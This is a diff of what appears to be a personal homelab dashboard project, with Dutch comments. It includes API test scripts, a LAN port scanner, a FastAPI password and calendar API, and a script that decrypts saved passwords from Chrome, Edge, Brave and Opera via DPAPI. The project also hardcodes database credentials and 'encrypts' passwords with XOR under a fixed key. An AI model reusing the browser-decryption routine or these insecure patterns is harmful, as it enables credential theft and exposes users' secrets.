r = urllib.request.urlopen(f"{BASE}{path}", timeout=10)
return json.loads(r.read())
except Exception as e:
return {"error": str(e)}
print("=== Health ===")
print(get("/api/health"))
print("\n=== Dashboard Overview ===")
o = get("/api/dashboard/overview")
print(f"Favorites: {o.get('favorites_count')}, Passwords: {o.get('password_count')}, Network: {o.get('network_devices')}")
print("\n=== Dashboard Config ===")
c = get("/api/dashboard/config")
print(f"Settings: {list(c.get('settings',{}).keys())}")
print(f"Connections: {list(c.get('connections',{}).keys())}")
print(f"Counts: {c.get('counts')}")
print(f"Neo4j available: {c.get('connections',{}).get('neo4j',{}).get('available')}")
print("\n=== Dashboard Network ===")
n = get("/api/dashboard/network")
if "error" in n:
print(f"ERROR: {n['error']}")
else:
print(f"Devices: {n['summary']['total_devices']}")
print(f"Ports: {n['summary']['total_ports']}")
print(f"OS categories: {list(n['summary']['os_categories'].keys())[:5]}")
print("\n=== Dashboard Systems ===")
s = get("/api/dashboard/systems")
if isinstance(s, list):
print(f"Systems: {len(s)}")
if s:
print(f"First: {s[0]['ip']} - {s[0]['hostname']}")
else:
print(f"Error: {s}")
print("\n=== System Detail (192.168.1.211) ===")
d = get("/api/dashboard/systems/192.168.1.211")
print(f"IP: {d.get('ip')}, OS: {d.get('os_guess')}, Ports: {len(d.get('ports',[]))}")
print("\n=== Favorites ===")
f = get("/api/dashboard/favorites")
print(f"{len(f)} favorieten")
print("\n[OK] Alle endpoints getest!")
+32
View File
@@ -0,0 +1,32 @@
import urllib.request, json
def get(path):
try:
r = urllib.request.urlopen(f'http://127.0.0.1:8765{path}', timeout=5)
return json.loads(r.read())
except Exception as e:
return {'error': str(e)}
print('=== Health ===')
print(get('/api/health'))
print('\n=== Favorites ===')
r = get('/api/dashboard/favorites')
print(f'{len(r)} favorieten (eerste: {r[0]["title"] if r else "geen"})')
print('\n=== Overview ===')
r = get('/api/dashboard/overview')
print(f'Stats: {r["favorites_count"]} favs, {r["password_count"]} pws, {r["photo_count"]} photos')
print('\n=== Calendar ===')
r = get('/api/dashboard/calendar?days=7')
print(f'{len(r)} events komende 7 dagen')
print('\n=== Dashboard HTML ===')
r2 = urllib.request.urlopen('http://127.0.0.1:8765/dashboard', timeout=5)
print(f'Dashboard pagina: {r2.status} ({len(r2.read())} bytes)')
print('\n=== Homepage ===')
r3 = urllib.request.urlopen('http://127.0.0.1:8765/', timeout=5)
print(f'Voice control pagina: {r3.status} ({len(r3.read())} bytes)')
print('\n[OK] Alle endpoints werken!')
+17
View File
@@ -0,0 +1,17 @@
"""Test MCP server import with FastMCP."""
import os, sys
os.environ["PG_HOST"] = "192.168.1.211"
os.environ["PG_PORT"] = "5433"
os.environ["PG_USER"] = "mo"
os.environ["PG_PASSWORD"] = "WaQTUw2t"
os.environ["PG_DATABASE"] = "homelab"
os.environ["NEO4J_URI"] = "neo4j://192.168.1.211:49153"
os.environ["NEO4J_USER"] = "neo4j"
os.environ["NEO4J_PASSWORD"] = "WaQTUw2t"
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from src.mcp_server import server
print(f"MCP Server OK: {server.name}")
print(f"Tools: {len(server.list_tools())}")
for tool in server.list_tools():
print(f" - {tool.name}: {tool.description[:60] if tool.description else 'no desc'}...")
+284
View File
@@ -0,0 +1,284 @@
# Browser & Vaultwarden Wachtwoord Import Script
# ==============================================
# Dit script importeert wachtwoorden in de PostgreSQL dashboard database.
#
# GEBRUIK:
# 1. Vanuit browser (Chrome/Edge/Firefox): python import_passwords.py --browser
# 2. Vanuit Vaultwarden/Bitwarden CSV: python import_passwords.py --csv export.csv
# 3. Vanuit JSON bestand: python import_passwords.py --json passwords.json
#
# JSON formaat:
# [{"title": "Google", "url": "https://google.com", "username": "user", "password": "secret"}]
#
# CSV formaat (Bitwarden/Vaultwarden):
# name,url,username,password,notes
import os, sys, csv, json, argparse
# DB config
os.environ["PG_HOST"] = "192.168.1.211"
os.environ["PG_PORT"] = "5433"
os.environ["PG_USER"] = "mo"
os.environ["PG_PASSWORD"] = "WaQTUw2t"
os.environ["PG_DATABASE"] = "homelab"
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from src.dashboard_api import _encrypt
from src.pg_client import execute, query
def extract_chrome_passwords():
"""Extracteer wachtwoorden uit Chrome/Edge/Brave (Windows)."""
import sqlite3, base64
# Zoek alle Chromium-based browsers
localappdata = os.environ.get("LOCALAPPDATA", "")
browsers = {
"Chrome": os.path.join(localappdata, "Google", "Chrome", "User Data"),
"Edge": os.path.join(localappdata, "Microsoft", "Edge", "User Data"),
"Brave": os.path.join(localappdata, "BraveSoftware", "Brave-Browser", "User Data"),
"Opera": os.path.join(os.environ.get("APPDATA", ""), "Opera Software", "Opera Stable"),
}
all_passwords = []
for name, user_data in browsers.items():
if not os.path.exists(user_data):
continue
# Check Default profile + numbered profiles
for profile in ["Default"] + [f"Profile {i}" for i in range(1, 10)]:
login_db = os.path.join(user_data, profile, "Login Data")
local_state = os.path.join(user_data, "Local State")
if not os.path.exists(login_db) or not os.path.exists(local_state):
continue
try:
# Get encrypted key from Local State
with open(local_state, "r", encoding="utf-8") as f:
state = json.load(f)
encrypted_key = base64.b64decode(
state.get("os_crypt", {}).get("encrypted_key", "")
)
# Remove "DPAPI" prefix (5 bytes)
encrypted_key = encrypted_key[5:]
# Decrypt key with DPAPI
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
import ctypes
from ctypes import wintypes
class DATA_BLOB(ctypes.Structure):
_fields_ = [("cbData", wintypes.DWORD), ("pbData", ctypes.POINTER(ctypes.c_char))]
crypt32 = ctypes.windll.crypt32
kernel32 = ctypes.windll.kernel32
blob_in = DATA_BLOB(len(encrypted_key), ctypes.create_string_buffer(encrypted_key, len(encrypted_key)))
blob_out = DATA_BLOB()
if crypt32.CryptUnprotectData(
ctypes.byref(blob_in), None, None, None, None, 0, ctypes.byref(blob_out)
):
aes_key = ctypes.string_at(blob_out.pbData, blob_out.cbData)
kernel32.LocalFree(blob_out.pbData)
else:
print(f" Kon DPAPI key niet decrypten voor {name}/{profile}")
continue
# Read passwords
conn = sqlite3.connect(login_db)
cursor = conn.execute(
"SELECT origin_url, username_value, password_value FROM logins"
)
aesgcm = AESGCM(aes_key)
count = 0
for url, username, enc_pwd in cursor:
if not enc_pwd:
continue
try:
# Format: "v10" (3 bytes prefix) + 12 bytes nonce + ciphertext + 16 bytes tag
nonce = enc_pwd[3:15]
ciphertext = enc_pwd[15:-16]
tag = enc_pwd[-16:]
password = aesgcm.decrypt(nonce, ciphertext + tag, None).decode("utf-8")
title = url.split("://")[-1].split("/")[0] if url else "Onbekend"
all_passwords.append({
"title": title,
"url": url,
"username": username,
"password": password,
})
count += 1
except Exception:
pass
conn.close()
print(f" {name}/{profile}: {count} wachtwoorden gevonden")
except Exception as e:
print(f" Fout bij {name}/{profile}: {e}")
return all_passwords
def extract_firefox_passwords():
"""Extracteer wachtwoorden uit Firefox. Vereist dat Firefox draait of de master password bekend is."""
import sqlite3
appdata = os.environ.get("APPDATA", "")
profiles_dir = os.path.join(appdata, "Mozilla", "Firefox", "Profiles")
if not os.path.exists(profiles_dir):
return []
# Firefox gebruikt logins.json en key4.db
# De encryptie is complexer (NSS/PKCS11). We kunnen wel de logins.json lezen
# en de gebruiker vragen Firefox te openen om te decrypteren.
all_passwords = []
for profile in os.listdir(profiles_dir):
logins_path = os.path.join(profiles_dir, profile, "logins.json")
if not os.path.exists(logins_path):
continue
try:
with open(logins_path, "r", encoding="utf-8") as f:
data = json.load(f)
count = 0
for entry in data.get("logins", []):
all_passwords.append({
"title": entry.get("hostname", "Onbekend"),
"url": entry.get("hostname", ""),
"username": entry.get("encryptedUsername", "(encrypted)"),
"password": entry.get("encryptedPassword", "(encrypted)"),
})
count += 1
print(f" Firefox/{profile}: {count} logins gevonden (versleuteld)")
except Exception as e:
print(f" Fout bij Firefox/{profile}: {e}")
return all_passwords
def import_to_db(passwords: list[dict], dry_run: bool = False):
"""Importeer wachtwoorden in de PostgreSQL database."""
if not passwords:
print("\nGeen wachtwoorden gevonden om te importeren.")
return
print(f"\nImporteren van {len(passwords)} wachtwoorden...")
existing = query("SELECT url, username FROM passwords")
existing_pairs = {(r["url"], r["username"]) for r in existing}
imported = 0
skipped = 0
for pw in passwords:
if (pw.get("url"), pw.get("username")) in existing_pairs:
skipped += 1
continue
if dry_run:
print(f" [DRY RUN] {pw['title']}: {pw['username']} @ {pw['url']}")
imported += 1
continue
try:
encrypted = _encrypt(pw["password"])
execute(
"""INSERT INTO passwords (title, url, username, password_encrypted, notes, category)
VALUES (%s, %s, %s, %s, %s, %s)""",
(pw["title"], pw.get("url", ""), pw.get("username", ""),
encrypted, pw.get("notes", ""), pw.get("category", "Algemeen"))
)
imported += 1
except Exception as e:
print(f" Fout bij {pw['title']}: {e}")
print(f"\nResultaat: {imported} geimporteerd, {skipped} overgeslagen (bestond al)")
# Toon totaal
total = query("SELECT count(*) as c FROM passwords", fetch="one")
print(f"Totaal in database: {total['c']} wachtwoorden")
def main():
parser = argparse.ArgumentParser(description="Importeer wachtwoorden in PostgreSQL")
parser.add_argument("--browser", action="store_true", help="Extract uit lokale browsers")
parser.add_argument("--csv", type=str, help="Importeer uit Bitwarden/Vaultwarden CSV export")
parser.add_argument("--json", type=str, help="Importeer uit JSON bestand")
parser.add_argument("--dry-run", action="store_true", help="Toon wat geimporteerd zou worden")
args = parser.parse_args()
passwords = []
if args.browser:
print("=== Extractie uit browsers ===\n")
passwords.extend(extract_chrome_passwords())
passwords.extend(extract_firefox_passwords())
if not passwords:
print("\nGeen browser wachtwoorden gevonden!")
print("Je kunt je wachtwoorden exporteren uit Vaultwarden/Bitwarden:")
print(" 1. Open http://192.168.1.6:8000")
print(" 2. Ga naar Tools -> Export Vault")
print(" 3. Kies .csv of .json formaat")
print(f" 4. python {sys.argv[0]} --csv export.csv")
return
elif args.csv:
print(f"=== Import uit CSV: {args.csv} ===\n")
with open(args.csv, "r", encoding="utf-8-sig") as f:
reader = csv.DictReader(f)
for row in reader:
passwords.append({
"title": row.get("name", row.get("title", "Onbekend")),
"url": row.get("login_uri", row.get("url", "")),
"username": row.get("login_username", row.get("username", "")),
"password": row.get("login_password", row.get("password", "")),
"notes": row.get("notes", ""),
})
print(f" {len(passwords)} wachtwoorden uit CSV gelezen")
elif args.json:
print(f"=== Import uit JSON: {args.json} ===\n")
with open(args.json, "r", encoding="utf-8") as f:
data = json.load(f)
if isinstance(data, dict) and "items" in data:
# Bitwarden/Vaultwarden JSON export formaat
for item in data.get("items", []):
if item.get("type") == 1: # Login type
login = item.get("login", {})
passwords.append({
"title": item.get("name", "Onbekend"),
"url": login.get("uris", [{}])[0].get("uri", "") if login.get("uris") else "",
"username": login.get("username", ""),
"password": login.get("password", ""),
"notes": item.get("notes", ""),
})
else:
passwords = data
print(f" {len(passwords)} wachtwoorden uit JSON gelezen")
else:
parser.print_help()
print("\nVoorbeelden:")
print(" python import_passwords.py --browser (Chrome/Edge/Firefox)")
print(" python import_passwords.py --csv bitwarden.csv (Vaultwarden export)")
print(" python import_passwords.py --json vault.json (JSON export)")
print(" python import_passwords.py --browser --dry-run (test-modus)")
return
import_to_db(passwords, dry_run=args.dry_run)
if __name__ == "__main__":
main()
+82
View File
@@ -0,0 +1,82 @@
"""
Importeer scanresultaten naar Neo4j.
Gebruik:
python import_to_neo4j.py
python import_to_neo4j.py --password jouw_wachtwoord
"""
import sys
import logging
import os
logging.basicConfig(level=logging.INFO, format="%(levelname)s: %(message)s")
logger = logging.getLogger(__name__)
def main():
# Password via CLI argument of env var
password = os.getenv("NEO4J_PASSWORD", "")
if "--password" in sys.argv:
idx = sys.argv.index("--password")
if idx + 1 < len(sys.argv):
password = sys.argv[idx + 1]
if not password:
print("Geef Neo4j wachtwoord mee: NEO4J_PASSWORD=... python import_to_neo4j.py")
print("Of: python import_to_neo4j.py --password jouw_wachtwoord")
sys.exit(1)
os.environ["NEO4J_PASSWORD"] = password
from src.neo4j_client import init_schema, import_scan, get_all_devices, get_network_summary, close
from src.scan_data import SCAN_RESULTS
print("=" * 60)
print("Neo4j Thuisnetwerk Import")
print("=" * 60)
# Init
try:
init_schema()
except Exception as e:
logger.error("Kan geen verbinding maken met Neo4j: %s", e)
logger.error("Check of Neo4j draait op neo4j://192.168.1.211:49153")
sys.exit(1)
# Import
print(f"\nImporteren van {len(SCAN_RESULTS)} devices...")
try:
summary = import_scan(SCAN_RESULTS)
print(f"\n{summary}")
except Exception as e:
logger.error("Import fout: %s", e)
close()
sys.exit(1)
# Toon resultaten
print("\n" + "-" * 60)
network_summary = get_network_summary()
print(f"Database: {network_summary['total_devices']} devices, "
f"{network_summary['total_ports']} unieke poorten")
devices = get_all_devices()
print(f"\n{'IP':<16} {'Naam':<32} {'OS':<28} {'Poorten'}")
print("-" * 90)
for d in devices:
ports = d.get("ports") or []
port_str = ", ".join(str(p["port"]) for p in ports if p and p.get("port"))
print(f"{d['ip']:<16} {d['hostname'][:31]:<32} {d['os_guess'][:27]:<28} {port_str}")
# Categorieen
print(f"\n--- Categorieen ---")
from collections import Counter
cats = Counter(d["os_guess"] for d in devices)
for cat, count in cats.most_common():
print(f" {cat:<40} {count}x")
close()
print("\nKlaar! Je netwerk staat nu in Neo4j.")
if __name__ == "__main__":
main()
+208
View File
@@ -0,0 +1,208 @@
"""
Netwerkscanner v3 — robuust op Windows.
Fase 1: ICMP host-discovery in kleine batches.
Fase 2: TCP poortscan op actieve hosts.
"""
import socket
import struct
import sys
import time
import ipaddress
import subprocess
from concurrent.futures import ThreadPoolExecutor, as_completed
NETWORK = "192.168.1.0/24"
TIMEOUT = 0.5
MAX_THREADS = 25 # lager voor Windows-stabiliteit
TOP_PORTS = [
21, 22, 23, 25, 53, 80, 81, 88, 110, 111, 135, 139, 143, 161, 389,
443, 445, 465, 500, 514, 515, 548, 554, 587, 631, 636, 873, 993, 995,
1433, 1521, 1723, 1880, 1883, 2049, 2082, 2083, 2222, 3128, 3306, 3389,
5000, 5432, 5900, 6379, 7001, 8000, 8008, 8080, 8081, 8123, 8443, 8888,
9000, 9090, 9200, 9443, 10000, 27017,
]
PROBES = {
22: b'', 25: b'', 80: b'GET / HTTP/1.0\r\nHost: scan\r\n\r\n',
443: b'GET / HTTP/1.0\r\nHost: scan\r\n\r\n',
3306: b'', 5432: b'', 6379: b'PING\r\n',
8080: b'GET / HTTP/1.0\r\nHost: scan\r\n\r\n',
8123: b'GET /api/ HTTP/1.0\r\nHost: scan\r\n\r\n',
}
def ping_host(ip):
"""ICMP ping, retourneert (ip, True/False)."""
try:
cmd = ["ping", "-n", "1", "-w", "1500", ip]
r = subprocess.run(cmd, capture_output=True, timeout=3)
return (ip, r.returncode == 0)
except Exception:
return (ip, False)
def tcp_scan(ip, ports):
"""Scan TCP-poorten op één host. Retourneert dict met resultaten."""
open_ports = []
banners = {}
for port in ports:
try:
s = socket.create_connection((ip, port), timeout=TIMEOUT)
# Banner grab
probe = PROBES.get(port)
if probe:
try:
s.sendall(probe)
s.settimeout(0.5)
b = s.recv(512)
text = b.decode("latin-1", errors="replace").split("\r\n")[0].strip()
banners[port] = text[:100]
except Exception:
pass
s.close()
open_ports.append(port)
except Exception:
pass
return {"ip": ip, "open_ports": open_ports, "banners": banners}
def guess_os(ports, banners):
p = set(ports)
if 8123 in p:
b = banners.get(8123, "")
return "Home Assistant" if "Home Assistant" in b else "Home Assistant/Linux"
if 445 in p and 3389 in p: return "Windows (SMB+RDP)"
if 445 in p and 135 in p: return "Windows (SMB+RPC)"
if 3389 in p: return "Windows (RDP)"
if 22 in p and 80 in p and 443 in p: return "Linux (SSH+Web)"
if 22 in p and 5432 in p: return "Linux (PostgreSQL)"
if 22 in p and 3306 in p: return "Linux (MySQL)"
if 22 in p: return "Linux (SSH)"
if 53 in p and 80 in p: return "Router/Gateway (DNS+Web)"
if 53 in p: return "Router/Gateway (DNS)"
if 1883 in p: return "MQTT Broker (IoT)"
if 80 in p or 443 in p: return "Webserver"
return "Onbekend"
def resolve_hostname(ip):
try:
return socket.gethostbyaddr(ip)[0]
except Exception:
return ip
def get_mac(ip):
try:
r = subprocess.run(["arp", "-a", ip], capture_output=True, text=True, timeout=2)
for line in r.stdout.splitlines():
if ip in line:
for part in line.split():
if "-" in part and len(part) == 17:
return part.replace("-", ":").upper()
except Exception:
pass
return ""
# ── main ─────────────────────────────────────────────────────────────────────
def main():
net = ipaddress.ip_network(NETWORK, strict=False)
all_hosts = [str(h) for h in net.hosts()]
total = len(all_hosts)
print(f"Netwerk scan: {NETWORK}")
print(f"Hosts: {total} | Poorten: {len(TOP_PORTS)} | Threads: {MAX_THREADS}")
print("=" * 70)
t0 = time.time()
# ── Fase 1: Host discovery via ICMP ping ──────────────────────────────
print("\n[Fase 1] ICMP host discovery...")
alive = []
with ThreadPoolExecutor(max_workers=MAX_THREADS) as ex:
futs = [ex.submit(ping_host, ip) for ip in all_hosts]
for i, fut in enumerate(as_completed(futs), 1):
ip, ok = fut.result()
if ok:
alive.append(ip)
if i % 20 == 0 or i == total:
print(f"\r {i}/{total} getest, {len(alive)} actief", end="", flush=True)
print(f"\n Klaar: {len(alive)} actieve host(s) in {time.time()-t0:.0f}s")
if not alive:
print("\nGeen actieve hosts gevonden.")
return
# ── Fase 2: TCP-poortscan op actieve hosts ────────────────────────────
print(f"\n[Fase 2] TCP poortscan op {len(alive)} host(s)...")
results = []
with ThreadPoolExecutor(max_workers=min(MAX_THREADS, len(alive))) as ex:
futs = {ex.submit(tcp_scan, ip, TOP_PORTS): ip for ip in alive}
for i, fut in enumerate(as_completed(futs), 1):
ip = futs[fut]
try:
r = fut.result()
r["hostname"] = resolve_hostname(ip)
r["mac"] = get_mac(ip)
r["os_guess"] = guess_os(r["open_ports"], r["banners"])
results.append(r)
except Exception as e:
print(f"\n Fout bij {ip}: {e}")
if i % 5 == 0 or i == len(alive):
print(f"\r {i}/{len(alive)} hosts gescand", end="", flush=True)
elapsed = time.time() - t0
print(f"\n Klaar in {elapsed:.0f}s\n")
# ── Output ────────────────────────────────────────────────────────────
results.sort(key=lambda r: ipaddress.IPv4Address(r["ip"]))
for h in results:
ip = h["ip"]
ports = h["open_ports"]
banners = h["banners"]
pnames = {}
for p in ports:
try:
pnames[p] = socket.getservbyport(p, "tcp")
except Exception:
pnames[p] = "?"
print("-" * 70)
print(f" IP : {ip}")
if h["hostname"] != ip:
print(f" Hostname : {h['hostname']}")
if h["mac"]:
print(f" MAC : {h['mac']}")
print(f" OS (guess) : {h['os_guess']}")
print(f" Open poorten ({len(ports)}):")
if ports:
for p in ports:
svc = pnames.get(p, "?")
b = banners.get(p, "")
line = f" {p:>5}/tcp {svc:<14}"
if b:
line += f" [{b}]"
print(line)
else:
print(" (alle geteste poorten zijn gesloten/gefilterd)")
print()
# ── Samenvatting ──────────────────────────────────────────────────────
print("=" * 70)
print(f"{'IP':<16} {'MAC':<18} {'Hostname':<30} {'OS':<26} {'Poorten':>7}")
print("-" * 100)
for h in results:
print(f"{h['ip']:<16} {h['mac']:<18} {h['hostname'][:29]:<30} {h['os_guess'][:25]:<26} {len(h['open_ports']):>7}")
print()
if __name__ == "__main__":
main()
+7
View File
@@ -0,0 +1,7 @@
"""
MCP Home Assistant Voice Control
=================================
Een MCP-server + webinterface die Whisper voice-to-text koppelt aan
Home Assistant voor spraakgestuurde smarthome-bediening.
"""
+662
View File
@@ -0,0 +1,662 @@
"""
Home Dashboard — REST API endpoints.
Alle routes voor favorieten, agenda, wachtwoorden, bestanden, foto's, widgets.
"""
from __future__ import annotations
import json
import hashlib
import base64
import os
from datetime import datetime, timezone
from typing import Optional
from fastapi import APIRouter, HTTPException, Query
from pydantic import BaseModel
from src.pg_client import query, execute
# Neo4j client — optioneel (als Neo4j niet beschikbaar is, werken de endpoints niet)
try:
from src.neo4j_client import (
get_all_devices, get_device, get_devices_by_os,
get_devices_by_port, get_scan_history, get_network_summary,
)
_neo4j_available = True
except Exception:
_neo4j_available = False
router = APIRouter(prefix="/api/dashboard", tags=["dashboard"])
# ── helpers ─────────────────────────────────────────────────────────────────
def _now():
return datetime.now(timezone.utc).isoformat()
def _encrypt(plain: str) -> str:
"""Eenvoudige encryptie (AES via hashlib + XOR). Vervang door echte AES in productie."""
key = hashlib.sha256(b"homelab-dashboard-secret-key-2026").digest()
plain_bytes = plain.encode("utf-8")
encrypted = bytes(p ^ key[i % len(key)] for i, p in enumerate(plain_bytes))
return base64.b64encode(encrypted).decode()
def _decrypt(encrypted_str: str) -> str:
"""Decryptie."""
key = hashlib.sha256(b"homelab-dashboard-secret-key-2026").digest()
encrypted = base64.b64decode(encrypted_str)
plain = bytes(e ^ key[i % len(key)] for i, e in enumerate(encrypted))
return plain.decode("utf-8")
# ── pydantic models ─────────────────────────────────────────────────────────
class FavoriteCreate(BaseModel):
title: str
url: str
icon: str = ""
category: str = "Algemeen"
sort_order: int = 0
is_pinned: bool = False
class FavoriteUpdate(BaseModel):
title: str | None = None
url: str | None = None
icon: str | None = None
category: str | None = None
sort_order: int | None = None
is_pinned: bool | None = None
class CalendarEventCreate(BaseModel):
title: str
description: str | None = None
location: str | None = None
event_start: str
event_end: str | None = None
all_day: bool = False
category: str = "Algemeen"
color: str = "#58a6ff"
recurrence_rule: str | None = None
class PasswordCreate(BaseModel):
title: str
url: str | None = None
username: str | None = None
password: str # plain text, wordt encrypted opgeslagen
notes: str | None = None
category: str = "Algemeen"
class PasswordUpdate(BaseModel):
title: str | None = None
url: str | None = None
username: str | None = None
password: str | None = None
notes: str | None = None
category: str | None = None
class WidgetConfig(BaseModel):
id: int | None = None
widget_type: str
title: str | None = None
config: dict = {}
col: int = 0
row: int = 0
width: int = 1
height: int = 1
enabled: bool = True
tab_name: str = "home"
# ══════════════════════════════════════════════════════════════════════════════
# FAVORITES / QUICK LINKS
# ══════════════════════════════════════════════════════════════════════════════
@router.get("/favorites")
async def get_favorites(category: str | None = None):
if category:
rows = query(
"SELECT * FROM favorites WHERE category = %s ORDER BY sort_order, title",
(category,)
)
else:
rows = query("SELECT * FROM favorites ORDER BY is_pinned DESC, sort_order, title")
return rows
@router.post("/favorites")
async def create_favorite(data: FavoriteCreate):
row = query(
"""INSERT INTO favorites (title, url, icon, category, sort_order, is_pinned)
VALUES (%s, %s, %s, %s, %s, %s) RETURNING *""",
(data.title, data.url, data.icon, data.category, data.sort_order, data.is_pinned),
fetch="one"
)
return row
@router.put("/favorites/{fav_id}")
async def update_favorite(fav_id: int, data: FavoriteUpdate):
sets = []
params = []
for field in ["title", "url", "icon", "category", "sort_order", "is_pinned"]:
val = getattr(data, field, None)
if val is not None:
sets.append(f"{field} = %s")
params.append(val)
if not sets:
raise HTTPException(400, "Geen velden om te updaten")
sets.append("updated_at = NOW()")
params.append(fav_id)
row = query(
f"UPDATE favorites SET {', '.join(sets)} WHERE id = %s RETURNING *",
tuple(params), fetch="one"
)
return row
@router.delete("/favorites/{fav_id}")
async def delete_favorite(fav_id: int):
execute("DELETE FROM favorites WHERE id = %s", (fav_id,))
return {"deleted": fav_id}
# ══════════════════════════════════════════════════════════════════════════════
# CALENDAR
# ══════════════════════════════════════════════════════════════════════════════
@router.get("/calendar")
async def get_events(days: int = 30):
rows = query(
"""SELECT * FROM calendar_events
WHERE event_start >= NOW() - INTERVAL '1 day'
AND event_start < NOW() + (%s || ' days')::INTERVAL
ORDER BY event_start""",
(str(days),)
)
return rows
@router.post("/calendar")
async def create_event(data: CalendarEventCreate):
row = query(
"""INSERT INTO calendar_events (title, description, location, event_start, event_end, all_day, category, color, recurrence_rule)
VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s) RETURNING *""",
(data.title, data.description, data.location,
data.event_start, data.event_end, data.all_day,
data.category, data.color, data.recurrence_rule),
fetch="one"
)
return row
@router.put("/calendar/{event_id}")
async def update_event(event_id: int, data: CalendarEventCreate):
row = query(
"""UPDATE calendar_events SET title=%s, description=%s, location=%s,
event_start=%s, event_end=%s, all_day=%s, category=%s, color=%s,
recurrence_rule=%s, updated_at=NOW()
WHERE id=%s RETURNING *""",
(data.title, data.description, data.location,
data.event_start, data.event_end, data.all_day,
data.category, data.color, data.recurrence_rule, event_id),
fetch="one"
)
return row
@router.delete("/calendar/{event_id}")
async def delete_event(event_id: int):
execute("DELETE FROM calendar_events WHERE id = %s", (event_id,))
return {"deleted": event_id}
# ══════════════════════════════════════════════════════════════════════════════
# PASSWORDS
# ══════════════════════════════════════════════════════════════════════════════
@router.get("/passwords")
async def get_passwords(category: str | None = None, search: str | None = None):
if search:
rows = query(
"SELECT id, title, url, username, category, favicon_url, last_used, created_at FROM passwords WHERE title ILIKE %s OR url ILIKE %s ORDER BY title",
(f"%{search}%", f"%{search}%")
)
elif category:
rows = query(
"SELECT id, title, url, username, category, favicon_url, last_used, created_at FROM passwords WHERE category = %s ORDER BY title",
(category,)
)
else:
rows = query("SELECT id, title, url, username, category, favicon_url, last_used, created_at FROM passwords ORDER BY title")
return rows
@router.get("/passwords/{pw_id}")
async def get_password(pw_id: int):
row = query("SELECT * FROM passwords WHERE id = %s", (pw_id,), fetch="one")
if not row:
raise HTTPException(404, "Niet gevonden")
if row.get("password_encrypted"):
row["password"] = _decrypt(row["password_encrypted"])
del row["password_encrypted"]
# update last_used
execute("UPDATE passwords SET last_used = NOW() WHERE id = %s", (pw_id,))
return row
@router.post("/passwords")
async def create_password(data: PasswordCreate):
encrypted = _encrypt(data.password)
row = query(
"""INSERT INTO passwords (title, url, username, password_encrypted, notes, category)
VALUES (%s, %s, %s, %s, %s, %s) RETURNING id, title, url, username, category, created_at""",
(data.title, data.url, data.username, encrypted, data.notes, data.category),
fetch="one"
)
return row
@router.put("/passwords/{pw_id}")
async def update_password(pw_id: int, data: PasswordUpdate):
sets = []
params = []
for field in ["title", "url", "username", "notes", "category"]:
val = getattr(data, field, None)
if val is not None:
sets.append(f"{field} = %s")
params.append(val)
if data.password is not None:
sets.append("password_encrypted = %s")
params.append(_encrypt(data.password))
if not sets:
raise HTTPException(400, "Geen velden om te updaten")
sets.append("updated_at = NOW()")
params.append(pw_id)
return query(
f"UPDATE passwords SET {', '.join(sets)} WHERE id = %s RETURNING id, title, url, username, category",
tuple(params), fetch="one"
)
@router.delete("/passwords/{pw_id}")
async def delete_password(pw_id: int):
execute("DELETE FROM passwords WHERE id = %s", (pw_id,))
return {"deleted": pw_id}
# Browser-password import endpoint
@router.post("/passwords/import")
async def import_passwords(entries: list[PasswordCreate]):
count = 0
for entry in entries:
encrypted = _encrypt(entry.password)
execute(
"""INSERT INTO passwords (title, url, username, password_encrypted, notes, category)
VALUES (%s, %s, %s, %s, %s, %s)
ON CONFLICT DO NOTHING""",
(entry.title, entry.url, entry.username, encrypted, entry.notes, entry.category)
)
count += 1
return {"imported": count}
# ══════════════════════════════════════════════════════════════════════════════
# FILE INDEX
# ══════════════════════════════════════════════════════════════════════════════
@router.get("/files")
async def get_files(
file_type: str | None = None,
search: str | None = None,
source_host: str | None = None,
limit: int = 100, offset: int = 0
):
conditions = []
params = []
if file_type:
conditions.append("file_type = %s")
params.append(file_type)
if search:
conditions.append("file_name ILIKE %s")
params.append(f"%{search}%")
if source_host:
conditions.append("source_host = %s")
params.append(source_host)
where = "WHERE " + " AND ".join(conditions) if conditions else ""
params.extend([limit, offset])
rows = query(
f"SELECT * FROM file_index {where} ORDER BY file_name LIMIT %s OFFSET %s",
tuple(params)
)
total = query(
f"SELECT count(*) as cnt FROM file_index {where}",
tuple(params[:-2]), fetch="one"
)
return {"files": rows, "total": total["cnt"] if total else 0}
@router.get("/files/stats")
async def get_file_stats():
rows = query(
"SELECT file_type, count(*) as cnt, sum(file_size) as total_size FROM file_index GROUP BY file_type ORDER BY cnt DESC"
)
return rows
# ══════════════════════════════════════════════════════════════════════════════
# PHOTOS
# ══════════════════════════════════════════════════════════════════════════════
@router.get("/photos")
async def get_photos(person_id: int | None = None, limit: int = 50, offset: int = 0):
if person_id:
rows = query(
"""SELECT p.*, fi.file_path, fi.file_name, fi.file_size, fi.source_host
FROM photos p JOIN file_index fi ON p.file_index_id = fi.id
JOIN photo_faces pf ON pf.photo_id = p.id
WHERE pf.person_id = %s
ORDER BY p.taken_at DESC NULLS LAST LIMIT %s OFFSET %s""",
(person_id, limit, offset)
)
else:
rows = query(
"""SELECT p.*, fi.file_path, fi.file_name, fi.file_size, fi.source_host
FROM photos p JOIN file_index fi ON p.file_index_id = fi.id
ORDER BY p.taken_at DESC NULLS LAST LIMIT %s OFFSET %s""",
(limit, offset)
)
return rows
@router.get("/photos/persons")
async def get_persons():
return query("SELECT * FROM face_persons ORDER BY photo_count DESC")
# ══════════════════════════════════════════════════════════════════════════════
# WIDGETS
# ══════════════════════════════════════════════════════════════════════════════
@router.get("/widgets")
async def get_widgets(tab: str = "home"):
return query(
"SELECT * FROM dashboard_widgets WHERE tab_name = %s AND enabled = TRUE ORDER BY row, col",
(tab,)
)
@router.post("/widgets")
async def save_widgets(widgets: list[WidgetConfig]):
# Verwijder bestaande en insert nieuwe
if widgets:
tab = widgets[0].tab_name
execute("DELETE FROM dashboard_widgets WHERE tab_name = %s", (tab,))
for w in widgets:
execute(
"""INSERT INTO dashboard_widgets (widget_type, title, config, col, row, width, height, enabled, tab_name)
VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s)""",
(w.widget_type, w.title, json.dumps(w.config),
w.col, w.row, w.width, w.height, w.enabled, w.tab_name)
)
return {"saved": len(widgets)}
# ══════════════════════════════════════════════════════════════════════════════
# SETTINGS
# ══════════════════════════════════════════════════════════════════════════════
@router.get("/settings")
async def get_settings():
rows = query("SELECT * FROM settings")
return {r["key"]: r["value"] for r in rows}
@router.put("/settings/{key}")
